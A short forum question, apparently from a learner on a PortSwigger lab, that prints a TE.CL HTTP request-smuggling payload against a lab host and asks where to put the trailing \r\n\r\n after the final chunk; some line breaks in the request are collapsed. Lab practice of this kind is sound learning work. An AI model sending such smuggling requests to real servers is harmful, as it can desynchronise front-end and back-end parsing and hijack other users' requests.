In PortSwigger HTTP Requset lab, i got to send this request twice in order to do a basic TE.CL attack
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0
But there is also a note writen:
You need to include the trailing sequence \r\n\r\n following the final 0.
Where i should put these sequence?